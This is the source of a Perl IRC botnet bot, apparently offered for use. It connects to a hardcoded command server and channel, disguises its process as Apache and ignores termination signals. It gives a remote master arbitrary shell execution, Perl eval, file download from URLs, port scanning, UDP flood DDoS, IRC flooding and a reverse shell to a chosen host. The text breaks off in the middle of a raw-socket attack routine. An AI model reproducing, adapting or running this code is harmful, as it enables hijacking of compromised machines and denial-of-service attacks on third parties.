1. #!/usr/bin/perl
2. my @mast3rs = ("Wesleysld`");
3.  
4.  
5. my @admchan=("#luca");
6.  
7. $servidor='irc.mafiaway.nl:6667' unless $servidor;
8.  
9.  
10. my $xeqt = "!x";
11. my $homedir = "/tmp";
12. my $shellaccess = 1;
13. my $xstats = 1;
14. my $pacotes = 1;
15. my $linas_max = 5;
16. my $sleep = 6;
17. my $portime = 4;
18.  
19. my @fakeps = ("/usr/sbin/apache2 -k start","/usr/sbin/httpd");
20.  
21. my @nickname = ("TeaMrx","fattys","eliter","vxbot","smufen","dual","lee","carro","frida",
22.    "TeaMrx1","TeaMrx0","TeaMrx2","TeaMrx3","TeaMrx4","TeaMrx5","TeaMrx6","TeaMrx7",
23.    "aVe","kmod","kmod2","uselib","raptor","tmpSH","pwned","w00t","DualDuo","Intel",
24.    "AMDPwr","Geforce","Exploit","vx8m0d","indexs","index","index2","index3","index4",
25.    "xQt1","xQt2","xQt3","xQt4","xQt5","xQt6","xQt7","xQt8","xQt9","xQt10","TeaMrxz",
26.    "De","Der","Det","Var","Kam","Dea","Csa","Fbi","Dea","Narko","Gone","Feber","Tull",
27.    "Tundra","st0rms","fLash","TheLight","Nikko","Nikie","Nikkie","daniel","t0nyandr",
28.    "Europa","Fanta","Caroline","speedline","Perf0rm","indexs","dan","educat","catina",
29.    "bindex","hindex","n0rway","myphp","phpvuln","Alarma","GoScan","oslocity","spette",
30.    "Cascam","vSport","vSmotor","vSteam","vSturbo","Turbost","heeman","andy","loundry",
31.    "ranger","Carbon","TypeR","Nozz","phpforum","Nxgas","NinaGirl","Isit","lama","ouch",
32.    "vTeam","vSpot","vCrew","xeQta","Gourl","Vulnx","Hksurl","Greedy","Mrx","counyjail",
33.    "Spourl","Torshov","Oslos","com_xeqt","mowgli","Asus","com_mrx","MrxTeam","arrest",
34.    "vScrew","beran","stuing","ucutter","readnot","gethelp","curpos","cutext","Busted",
35.    "detda","kanjo","neinei","Carbon","irriter","masa","dev-null","korsett","PerlTeam",
36.    "jada","kanjeg","mutterz","dalenmin","heimdal","Gambler","Deanz","Phreak","Getno",
37.    "Susa","Pils","Pilz","Bilz","Clubz","Clubs","Clubbin","Fights","Kampen","telenor",
38.    "Karss","Gophy","reactor","fileporn","filemp3","filelist","free6","purextc","upc",
39.    "Grandis","Piccaso","Vanda","varburen","Tiesto","Jean","DjEan","MeNe","ThiS","nO",
40.    "drspeed","fuzzy","buzzz","GoScan","Vulned","Gourl","makeconf","sshdconf","ngtno",
41.    "m0rtem","cat0","Fuckyall","Fuckit","Aem","Greedy","Hkss","Sparco","MoMo","Carbon",
42.    "d3nyall","vipz","dualc0rz","twoc0re","gotit","h0lyshit","prtls","rapt0r","Getde",
43.    "Vulnx","d3nyurl","vUlnurl","v0dka","Torshov","turboo","Boost","fasty","fr","getfr",
44.    "datacore","dualcore","Daniel","spurv","byrds","jails","spoot","speels","ml","getd",
45.    "Antivi","nod32","Screwed","alias","mekkka","template","f0rm3","p0ker","Geton","NO",
46.    "Door","Borr","Jaarn","Sporet","Dopa","Hasjen","purxTc","Liquer","Justlink","Asust",
47.    "Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner",
48.    "Edward","Eickenhorst","Eliasson","Erdos","Erez","Espinoza","Estes","Etter","Eina",
49.    "Elmendorf","Elmerick","Elvis","Encinas","Enyeart","Eppling","Erbach","Erdman","d0",
50.    "Everett","Fabbris","Fagan","Faioes","Altavista","Flamor","Faris","Farone","f00ln3t",
51.    "Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman","Euripides","Enzoo","d00rk",
52.    "Wikii","Wifii","Jvc","s0nny","lekter","herrier","sp0ker","netply","netb0st","Liq",
53.    "comma","julie","sveina","andre","pulsedj","p0ker","j0ker","eFn3t","Liers","xTcno",
54.    "Suite","Incl","Page","Mappe","Oxyd","Infode","Senil","Powers","Langu","m0d","doch",
55.    "Snakes","Ridder","Viking","Vikings","Norman","Norway","German","Info","Biz","Edud",
56.    "Ninjas","Ilness","Teacer","Faceoff","devnull","MoMo","Spoon","Liquid","Goofy","Aj",
57.    "Google","Yahoo","Altavista","Lycos","Sesam","Solno","Googler","ScamNet","w0rmnet",
58.    "puman","Skeidar","Tinemelk","Freia","Tresis","Tbanen","Adenyed","Hulken","Pureice",
59.    "Sperre","Lister","Burbon","burb0ns","Toy0","Proxes","WrxSti","Evo6","Evo7","Evo8",
60.    "wss","bss","natron","kiwis","Reman","SevnUp","Perlpls","Spiid","Govbr","Govmil",
61.    "Wssss","Files","xFiles","Dataw0rm","n3tw0rm","Info","Biz","Orgy","foksy","Reven",
62.    "limbo","mambi","bambi","rummy","IluvPerl","PerlKing","Pokerking","Turboa","Gttt",
63.    "BugScam","BugTraq","Trackqs","Que","Adidas","Umbro","Sportas","Liquid","Forume",
64.    "Deka","Jbl","Adecco","M5R","Tuners","Techno","Sivilen","Baosh","Snuten","Purken",
65.    "aaudi","coupe","netliga","liganet","netbase","NetSnok","Snoknet","Snifnet","libz",
66.    "indexp","jooblaa","mamboo","Binl3n","Cplusplus","p3rls3x","illgoon","de","lime",
67.    "homes","newsr","sindex","findex","shome","php3","eedan","Evens","Everest","kkk2",
68.    "igal","c0lombia","freeme","dupen","d3nmark","s2ed3n","crypt0n","n0dam3n","itch",
69.    "Domino","Tarsan","julie","Anett","Stine","Laura","Croft","Craft","Mrex","jiggy",
70.    "Hemaan","c0nan","c0nmen","ImI","RdR","Ils","Ass","Dildo","Pula","Blow","Sn0rts",
71.    "Aloalo","Nasa","DeaGov","FbiGov","NsaGov","CiaGov","CsiEdu","Hav0rd","djPulse",
72.    "Oslos","Ils","cia","d3a","dea","nsa","nas","asa","kma","Scamurl","vito","xQt");
73.  
74. my @xident = ("noway","mirc","cmd","index","main","php","vuln","iiris","bx","sun","khan",
75.    "info","cpu","pet","pacs","dino","megov","onet","xrm","tisi","parm","cico","jun",
76.    "caos","fred","peace","dude","rox","rock","rokie","bayrn","gees","hval","wolf",
77.    "do","go","ln","st","file","page","pag","pg","lg","lang","lng","srcs","action",
78.    "sml","pod","nvidia","vidia","villa","kake","spat","solo","Cols","kols","kreft",
79.    "lam","fal","dett","drop","snop","true","fake","yes","sir","mae","nmf","vmax","as",
80.    "adio","audo","soren","tvtre","host","unitd","coda","cobra","mans","gmail","gtrs",
81.    "remax","rik","fatig","poor","girls","pow","wop","wok","son","kolsa","royk","asss",
82.    "los","las","angl","dream","fools","phol","phools","d0rk","spon","spalk","kalk",
83.    "email","smtp","pops","imapd","pag","lang","lg","nav","php","spyer","cyp","hardy",
84.    "email","null","mastr","drunk","full","beer","bayer","mage","neve","fist","haist",
85.    "dara","dora","boris","dev","cupra","isgal","Yuri","Geez","Frys","dos","to","emul",
86.    "pwned","kung","kim","lil","fatjo","fatman","fat","joe","does","quat","tres","eu",
87.    "shv5","lrk","lkm","lkmrk","trk5","xt","tqex","itt","full","half","power","sender",
88.    "does","tres","quat","fiat","spon","kvae","liim","papp","ddos","fart","noz","daim",
89.    "liga","tvone","shdw","etcpwd","initd","ftpd","wuspl","proftp","newsd","sockd","lue",
90.    "loma","Domma","hest","heist","tivoli","stud","dust","fust","Flue","nille","kenny",
91.    "koma","loc","inc","incl","src","fokus","ford","chevy","wrc","cpu","cool","srchers",
92.    "inc","incl","dir","file","sdir","mains","login","path","base","cmd","cats","farts",
93.    "fiat","uno","jern","kober","liq","torsk","fisk","laks","hone","hore","buk","noman",
94.    "lim","idem","prince","sveina","kine","kim","allan","hanne","terje","bukken","bruse",
95.    "nu","do","li","faen","tater","doc","loc","pof","ninja","per","pets","sings","doper",
96.    "liq","dop","heroin","dok","page","php3","pop","smtp","data","kilde","foss","lowrdr",
97.    "drvby","viper","snake","dragon","dup","vuln","cat","grep","loop","inetd","proftpd",
98.    "pasive","damp","wals","snoke","snik","poff","phil","pill","dra","drjo","djo","laby",
99.    "rune","alan","britt","brita","stue","stenen","andy","bass","phatt","lover","fresa",
100.    "jvc","jbl","cia","fed","sov","purk","snut","snif","deka","svovel","life","knife","so",
101.    "deka","bos","boss","fres","spett","dusj","kappe","norman","keb0rd","fab","dor","bits",
102.    "kniv","lisa","nina","ole","pat","mtv","charl","smokie","nabo","walk","brks","krad-3",
103.    "dame","lady","bola","biffen","kamm","drev","sprider","spider","iscrem","daddy","pie",
104.    "ono","tima","mytm","motor","vsmot","sport","fart","devs","var","tmp","spol","sture".
105.    "jule","tree","gate","net","rand","perl","line","xqt","mrx","org","asus","sped","yaco",
106.    "hash","hmm","ddos","pwr","nix","linux","bsd","ppal","aio","mars","bates","daim","da",
107.    "pico","nmap","juge","sone","log","goofy","kars","meter","daim","kul","foksy","hyena",
108.    "beta","pulse","driver","org","fos","kars","kma","fua","all","tea","foks","lady","fa",
109.    "testo","bola","bolen","card","cards","chip","chips","wv","audi","bmw","roys","bechs",
110.    "nokia","mrx","some","candy","goo","cool","scam","scan","google","lee","cam","li","dm",
111.    "loff","grov","abcd","pulse","grow","alrt","spyd","trojan","maxd","xeqtd","xQtd","nodz",
112.    "owner","crime","data","need","doper","hash","mysql","imapd","devil","shark","byn","ju");
113.  
114. my @xname = (`uname -a`);
115.  
116. #################
117. # Random Ports
118. #################
119. my @rports = ("443");
120.  
121. my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
122.    "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
123.    "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
124.    "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
125.    "\001Snak for Macintosh 4.9.8 English\001",
126.    "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
127.    "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
128.    "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
129.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
130.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
131.    "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
132.    "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
133.    "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
134.    "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
135.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
136.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
137.    "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
138.    "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
139.    "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
140.    "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
141.    "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
142.    "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
143.    "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1·9] : Keep it to yourself!\001",
144.    "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
145.    "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
146.    "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
147.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
148.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
149.  
150. # Default quick scan ports
151. my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
152.  
153. # xeQt
154.  
155. #my $nick = "Power";
156. my $nick = $nickname[rand scalar @nickname];
157. my $realname = $xname[rand scalar @xname];
158. my $ircname = $xident[rand scalar @xident];
159. my $porta = $rports[rand scalar @rports];
160. my $xproc = $fakeps[rand scalar @fakeps];
161. my $Mrx = $Mrx[rand scalar @Mrx];
162. my $version = 'PowerBots (C) GohacK';
163.  
164. $SIG{'INT'} = 'IGNORE';
165. $SIG{'HUP'} = 'IGNORE';
166. $SIG{'TERM'} = 'IGNORE';
167. $SIG{'CHLD'} = 'IGNORE';
168. $SIG{'PS'} = 'IGNORE';
169.  
170. use IO::Socket;
171. use Socket;
172. use IO::Select;
173. chdir("$homedir");
174. $servidor="$ARGV[0]" if $ARGV[0];
175. $0="$xproc"."\0";
176. my $pid=fork;
177. exit if $pid;
178. die "[x] -> Cannot fork into background: $!" unless defined($pid);
179. my %irc_servers;
180. my %DCC;
181. my $dcc_sel = new IO::Select->new();
182.  
183. sub getnick {
184.   return "$nickname[rand scalar @nickname]".int(rand(1000));
185. }
186.  
187. sub getstore ($$)
188. {
189.   my $url = shift;
190.   my $file = shift;
191.  
192.   $http_stream_out = 1;
193.   open(GET_OUTFILE, "> $file");
194.   %http_loop_check = ();
195.   _get($url);
196.   close GET_OUTFILE;
197.   return $main::http_get_result;
198. }
199. sub _get
200. {
201.   my $url = shift;
202.   my $proxy = "";
203.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
204.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
205.     my $host = $1;
206.     my $port = $2 || 80;
207.     my $path = $3;
208.     $path = "/" unless defined($path);
209.     return _trivial_http_get($host, $port, $path);
210.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
211.     my $host = $1;
212.     my $port = $2;
213.     my $path = $url;
214.     return _trivial_http_get($host, $port, $path);
215.   } else {
216.     return undef;
217.   }
218. }
219. sub _trivial_http_get
220. {
221.   my($host, $port, $path) = @_;
222.   my($AGENT, $VERSION, $p);
223.   #print "HOST=$host, PORT=$port, PATH=$path\n";
224.  
225.   $AGENT = "get-minimal";
226.   $VERSION = "20000118";
227.  
228.   $path =~ s/ /%20/g;
229.  
230.   require IO::Socket;
231.   local($^W) = 0;
232.   my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;
233.  
234.   $sock->autoflush;
235.   my $netloc = $host;
236.   $netloc .= ":$port" if $port != 80;
237.   my $request = "GET $path HTTP/1.0\015\012"
238.               . "Host: $netloc\015\012"
239.               . "User-Agent: $AGENT/$VERSION/u\015\012";
240.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
241.   $request .= "\015\012";
242.   print $sock $request;
243.   my $buf = "";
244.   my $n;
245.   my $b1 = "";
246.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
247.     if ($b1 eq "") {
248.       $b1 = $buf;
249.       $buf =~ s/.+?\015?\012\015?\012//s;
250.     }
251.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
252.   }
253.   return undef unless defined($n);
254.   $main::http_get_result = 200;
255.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
256.     $main::http_get_result = $1;
257.     # print "CODE=$main::http_get_result\n$b1\n";
258.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
259.       my $url = $1;
260.       return undef if $http_loop_check{$url}++;
261.       return _get($url);
262.     }
263.     return undef unless $main::http_get_result =~ /^2/;
264.   }
265.   return $buf;
266. }
267. $sel_cliente = IO::Select->new();
268. sub sendraw {
269.   if ($#_ == '1') {
270.     my $socket = $_[0];
271.     print $socket "$_[1]\n";
272.   } else {
273.       print $IRC_cur_socket "$_[0]\n";
274.   }
275. }
276. sub conectar {
277.    my $meunick = $_[0];
278.    my $servidor_con = $_[1];
279.    my $porta_con = $_[2];
280.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
281.    if (defined($IRC_socket)) {
282.      $IRC_cur_socket = $IRC_socket;
283.      $IRC_socket->autoflush(1);
284.      $sel_cliente->add($IRC_socket);
285.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
286.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
287.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
288.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
289.      nick("$meunick");
290.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
291.      sleep 2;
292.    }
293. }
294. my $line_temp;
295. while( 1 ) {
296.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
297.    delete($irc_servers{''}) if (defined($irc_servers{''}));
298.    &DCC::connections;
299.    my @ready = $sel_cliente->can_read(0.6);
300.    next unless(@ready);
301.    foreach $fh (@ready) {
302.      $IRC_cur_socket = $fh;
303.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
304.      $nread = sysread($fh, $msg, 4096);
305.      if ($nread == 0) {
306.         $sel_cliente->remove($fh);
307.         $fh->close;
308.         delete($irc_servers{$fh});
309.      }
310.      @lines = split (/\n/, $msg);
311.      for(my $c=0; $c<= $#lines; $c++) {
312.        $line = $lines[$c];
313.        $line=$line_temp.$line if ($line_temp);
314.        $line_temp='';
315.        $line =~ s/\r$//;
316.        unless ($c == $#lines) {
317.          parse("$line");
318.        } else {
319.            if ($#lines == 0) {
320.              parse("$line");
321.            } elsif ($lines[$c] =~ /\r$/) {
322.                parse("$line");
323.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
324.                parse("$line");
325.            } else {
326.                $line_temp = $line;
327.            }
328.        }
329.       }
330.    }
331. }
332.  
333. sub parse {
334.    my $servarg = shift;
335.    if ($servarg =~ /^PING \:(.*)/) {
336.      sendraw("PONG :$1");
337.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
338.        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
339.        if ($args =~ /^\001VERSION\001$/) {
340.          notice("$pn", "".$Mrx."");
341.        }
342.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
343.          notice("$pn", "\001PONG\001");
344.        }
345.        elsif (grep {$_ =~ /^(\Q$pn\E|\Q$hostnam3\E)$/i } @mast3rs) {
346.          if ($onde eq "$meunick"){
347.            shell("$pn", "$args");
348.         }
349.     if ($args =~ /^!(.*)/){
350.        ircase("$pn","$chan","$1");
351.     }
352.         if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
353.             my $natrix = $1;
354.             my $arg = $2;
355.             if ($arg =~ /^\!(.*)/) {
356.               ircase("$pn","$onde","$1");
357.             } elsif ($arg =~ /^\@(.*)/) {
358.                 $ondep = $onde;
359.                 $ondep = $pn if $onde eq $meunick;
360.                 bfunc("$ondep","$1");
361.             } else {
362.                 shell("$onde", "$arg");
363.             }
364.          }
365.        }
366.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
367.        if (lc($1) eq lc($meunick)) {
368.          $meunick=$4;
369.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
370.        }
371.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
372.        $meunick = getnick();
373.        nick("".$meunick."-");
374.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
375.        $meunick = $2;
376.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
377.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
378.        foreach my $canal (@admchan){
379.          sendraw("JOIN $canal 206xss");
380.        }
381.    }
382. }
383. sub bfunc {
384.   my $printl = $_[0];
385.   my $funcarg = $_[1];
386.   if (my $pid = fork) {
387.      waitpid($pid, 0);
388.   } else {
389.       if (fork)
390.        {
391.          exit;
392.        }
393.    else
394.    {
395.       # Quick scan
396.            if ($funcarg =~ /^ps (.*)/) {
397.              my $hostip="$1";
398.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
399.              my (@aberta, %porta_banner);
400.              foreach my $porta (@portas)  {
401.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
402.                 if ($scansock) {
403.                    push (@aberta, $porta);
404.                    $scansock->close;
405.          sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
406.                 }
407.              }
408.              if (@aberta) {
409.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
410.              } else {
411.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
412.              }
413.            }
414.       # NMAP, lol
415.            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
416.       {
417.               my $hostname="$1";
418.               my $portstart = "$2";
419.                my $portend = "$3";
420.                my (@abertas, %porta_banner);
421.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
422.                foreach my $porta ($portstart..$portend)
423.              {
424.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
425.                if ($scansock) {
426.                  push (@abertas, $porta);
427.                  $scansock->close;
428.                  if ($xstats)
429.        {
430.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
431.                  }
432.                }
433.              }
434.              if (@abertas) {
435.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
436.              } else {
437.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
438.              }
439.             }
440.       # Remove
441.       elsif ($funcarg =~ /^rm/)
442.       {
443.          system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
444.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
445.       }
446.       # Version
447.       elsif ($funcarg =~ /^version/)
448.       {
449.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
450.       }
451.       # Download
452.            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
453.       {
454.               getstore("$1", "$2");
455.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
456.            }
457.        # Udp
458.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
459.               return unless $pacotes;
460.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
461.               my $alvo=inet_aton("$1");
462.               my $porta = "$2";
463.               my $tempo = "$3";
464.               my $pacote;
465.               my $pacotese;
466.               my $fim = time + $tempo;
467.               my $pacota = 1;
468.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
469.               while (($pacota == "1") && ($pacotes == "1")) {
470.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
471.                 $pacote=$rand x $rand x $rand;
472.                 $porta = int(rand 65000) +1 if ($porta == "0");
473.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
474.               }
475.               if ($xstats)
476.               {
477.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
478.              }
479.             }
480.  
481.        # Backconnect
482.             elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
483.               my $host = "$1";
484.               my $porta = "$2";
485.               my $proto = getprotobyname('tcp');
486.               my $iaddr = inet_aton($host);
487.               my $paddr = sockaddr_in($porta, $iaddr);
488.               my $shell = "/bin/sh -i";
489.               if ($^O eq "MSWin32") {
490.                 $shell = "cmd.exe";
491.               }
492.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
493.               connect(SOCKET, $paddr) or die "connect: $!";
494.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
495.               open(STDIN, ">&SOCKET");
496.               open(STDOUT, ">&SOCKET");
497.               open(STDERR, ">&SOCKET");
498.               system("$shell");
499.          system("cd /tmp/.mrx");
500.               close(STDIN);
501.               close(STDOUT);
502.               close(STDERR);
503.             }
504.            exit;
505.        }
506.   }
507. }
508.  
509. sub ircase {
510.   my ($kem, $printl, $case) = @_;
511.  
512.    if ($case =~ /^join (.*)/) {
513.      j("$1");
514.    }
515.    elsif ($case =~ /^part (.*)/) {
516.       p("$1");
517.    }
518.    elsif ($case =~ /^rejoin\s+(.*)/) {
519.       my $chan = $1;
520.       if ($chan =~ /^(\d+) (.*)/) {
521.         for (my $ca = 1; $ca <= $1; $ca++ ) {
522.           p("$2");
523.           j("$2");
524.         }
525.       } else {
526.           p("$chan");
527.           j("$chan");
528.       }
529.    }
530.    elsif ($case =~ /^op/) {
531.       op("$printl", "$kem") if $case eq "op";
532.       my $oarg = substr($case, 3);
533.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
534.    }
535.    elsif ($case =~ /^deop/) {
536.       deop("$printl", "$kem") if $case eq "deop";
537.       my $oarg = substr($case, 5);
538.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
539.    }
540.    elsif ($case =~ /^voice/) {
541.       voice("$printl", "$kem") if $case eq "voice";
542.       $oarg = substr($case, 6);
543.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
544.    }
545.    elsif ($case =~ /^devoice/) {
546.       devoice("$printl", "$kem") if $case eq "devoice";
547.       $oarg = substr($case, 8);
548.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
549.    }
550.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
551.       msg("$1", "$2");
552.    }
553.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
554.       for (my $cf = 1; $cf <= $1; $cf++) {
555.         msg("$2", "$3");
556.       }
557.    }
558.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
559.       for (my $cf = 1; $cf <= $1; $cf++) {
560.         ctcp("$2", "$3");
561.       }
562.    }
563.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
564.       ctcp("$1", "$2");
565.    }
566.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
567.       invite("$1", "$2");
568.    }
569.    elsif ($case =~ /^nick (.*)/) {
570.       nick("$1");
571.    }
572.    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
573.        conectar("$2", "$1", 6667);
574.    }
575.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
576.       DCC::SEND("$1", "$2");
577.    }
578.    elsif ($case =~ /^raw (.*)/) {
579.       sendraw("$1");
580.    }
581.    elsif ($case =~ /^eval (.*)/) {
582.       eval "$1";
583.    }
584.    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
585.     sleep int(rand($2));
586.     j("$1");
587.    }
588.    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
589.     sleep int(rand($2));
590.     p("$1");
591.    }
592.    elsif ($case =~ /^quit/) {
593.      quit();
594.    }
595.    elsif ($case =~ /^rand/) {
596.     my $novonick = getnick();
597.      nick("$novonick");
598.    }
599.    elsif ($case =~ /^stat (.*)/) {
600.      if ($1 eq "on") {
601.       $xstats = 1;
602.       msg("$printl", "Satus enabled");
603.      } elsif ($1 eq "off") {
604.       $xstats = 0;
605.       msg("$printl", "Status disable");
606.      }
607.    }
608.    elsif ($case =~ /^bang (.*)/) {
609.      if ($1 eq "on") {
610.       $pacotes = 1;
611.       msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
612.      } elsif ($1 eq "off") {
613.       $pacotes = 0;
614.       msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
615.      }
616.    }
617. }
618. sub shell {
619.   return unless $shellaccess;
620.   my $printl=$_[0];
621.   my $comando=$_[1];
622.   if ($comando =~ /cd (.*)/) {
623.     chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
624.     return;
625.   }
626.   elsif ($pid = fork) {
627.      waitpid($pid, 0);
628.   } else {
629.       if (fork) {
630.          exit;
631.        } else {
632.            my @resp=`$comando 2>&1 3>&1`;
633.            my $c=0;
634.            foreach my $linha (@resp) {
635.              $c++;
636.              chop $linha;
637.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
638.              if ($c >= "$linas_max") {
639.                $c=0;
640.                sleep $sleep;
641.              }
642.            }
643.            exit;
644.        }
645.   }
646. }
647.  
648. sub attacker {
649.   my $iaddr = inet_aton($_[0]);
650.   my $msg = 'B' x $_[1];
651.   my $ftime = $_[2];
652.   my $cp = 0;
653.   my (%pacotes);
654.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
655.  
656.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
